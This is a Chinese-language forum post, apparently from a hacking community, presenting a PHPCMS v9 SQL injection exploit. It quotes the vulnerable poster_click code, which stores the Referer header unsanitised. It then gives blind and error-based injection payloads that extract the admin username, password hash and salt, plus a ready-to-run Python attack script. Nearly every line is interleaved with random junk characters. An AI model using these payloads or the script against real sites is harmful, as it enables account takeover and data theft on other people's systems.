有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:! y2 e6 ^& ~" y6 b
; U6 L& O! y' X4 q d: W1 }问题函数\phpcms\modules\poster\index.php
3 ~2 s6 G& s$ T# C3 h2 k3 J0 O9 K* ~* j; m" S
public function poster_click() {' }( C! I% h6 R0 v0 t
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;! S5 n3 L3 \+ V
$r = $this->db->get_one(array('id'=>$id));( c6 k& q7 t& q' R* l7 y- L% h* F, X
if (!is_array($r) && empty($r)) return false;9 L* f8 E* P$ M# |) q& _) T0 y' B
$ip_area = pc_base::load_sys_class('ip_area');
3 t5 V2 I( W' a( ~$ _- o5 `1 _$ip = ip();
; I1 N& z1 n6 c& ^. c* C* W/ h, W K$area = $ip_area->get($ip);
" T. r9 ~6 N9 D' `4 z |+ S$username = param::get_cookie('username') ? param::get_cookie('username') : '';3 g! U+ l5 n- \: p
if($id) {
1 B8 w& w9 n* X+ l$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
! }: Y3 I7 w( n" r2 B `* v. @$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
. S8 n, p# L. M- u}' H9 j, G0 ~ b
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));/ Z+ p) x& Z! z/ B, Q
$setting = string2array($r['setting']);
9 M: h+ o# W7 W2 rif (count($setting)==1) {
, s7 A( Z% q: O* {* e2 B6 k9 d$url = $setting['1']['linkurl'];
& Y8 J/ O( j- y+ R3 b4 V: a} else {
" E7 ]: D5 p: \0 Y0 @$ l) Q6 r9 E! G' Y$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
* Z. Y( x4 E! q! i" E}9 Q2 ~4 g- _8 X g
header('Location: '.$url);/ C' T* J3 c, c3 k4 b# q
}
1 ^. d7 M7 H- D
& t2 e+ ^2 w7 b
8 |, i3 o1 k1 a1 b: s' o e4 [9 V, U3 n
利用方式:
Z! U o/ N- y1 Y
9 M% Y3 ?0 k8 [8 r. l1、可以采用盲注入的手法:
; o6 K. ?1 z& J( G) Z& K( t
. J% _# l* d0 hreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#' E4 B2 v. y6 a- c* w
8 V+ @" S/ F% @8 P' @! e9 e# v
通过返回页面,正常与否一个个猜解密码字段。
! O6 { _/ }$ o, z0 w! R4 O2 ~/ E% I3 {6 i+ {( Z
2、代码是花开写的,随手附上了:
]% b7 V7 p7 J- U8 V* E
+ M H+ }* t8 X: {7 W1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
5 q6 }& U9 K! r x" G2 x/ d( h- F: j) z/ U2 q% y& O
此方法是爆错注入手法,原理自查。7 f& X% f1 x) G( [9 s+ ]8 V ?
( h+ t+ x/ x) u1 m
# n8 k: J0 [' `/ S' K+ H' e' B9 Z: q+ c0 a
利用程序:
% h; D: i& l+ L! _9 d5 G/ s; y6 m" V, n( |6 X
#!/usr/bin/env python
' N0 ]" W. Q+ m) Himport httplib,sys,re
1 F; O, \- z( q0 l! _5 s7 U# T. q5 d
) J: O: p6 n7 | ~- Edef attack():. S% Y( V3 R$ ?% T5 g7 c+ `& C3 d: \7 f
print “Code by Pax.Mac Team conqu3r!”" k9 n/ }- ?5 k+ X, C j5 D% e+ n
print “Welcome to our zone!!!”& U' M0 r" t! l/ u' O0 l X
url=sys.argv[1]6 T4 ~$ a* }+ X" o( E* U2 x" j
paths=sys.argv[2]
& g# Z+ q Z, O+ Pconn = httplib.HTTPConnection(url)6 ]3 y2 l" ^+ j9 c8 ~
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″," q: _+ u0 a3 L: B6 s/ G7 I1 z
“Accept”: “text/plain”," b' |4 l, h7 d
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
6 b u2 f q( Bconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers); V7 Z v9 x/ u* M
r1 = conn.getresponse()8 S+ _. K s3 ?4 f8 M% T
datas=r1.read()
- |# o& S8 K# U! e# ?# S/ D9 N: X vdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
- U% a4 R( ~7 @) i# Z* |: Kprint datas[0]( ~7 c" c& t; T+ T+ R9 }
conn.close()( C1 g' G" L* X% w
if __name__==”__main__”:
, \; T' C# ~; s1 p+ Z. hif len(sys.argv)<3:6 [# r* E O- z$ Y
print “Code by Pax.Mac Team conqu3r”3 ]' @$ ^" i# Q& N8 U
print “Usgae:”
2 E; p/ [( |3 h: ~print “ phpcmsattack.py www.paxmac.org /”
) Q$ j& G+ q! I7 ^$ Fprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
# U0 e5 B+ G8 L: T7 J+ Z0 v! Hsys.exit(1)
- V& a; [) k) Q- h7 zattack(): \2 c/ y1 _8 }& C& ^
9 K3 U9 t( Z0 _, R8 G: p1 \% g
|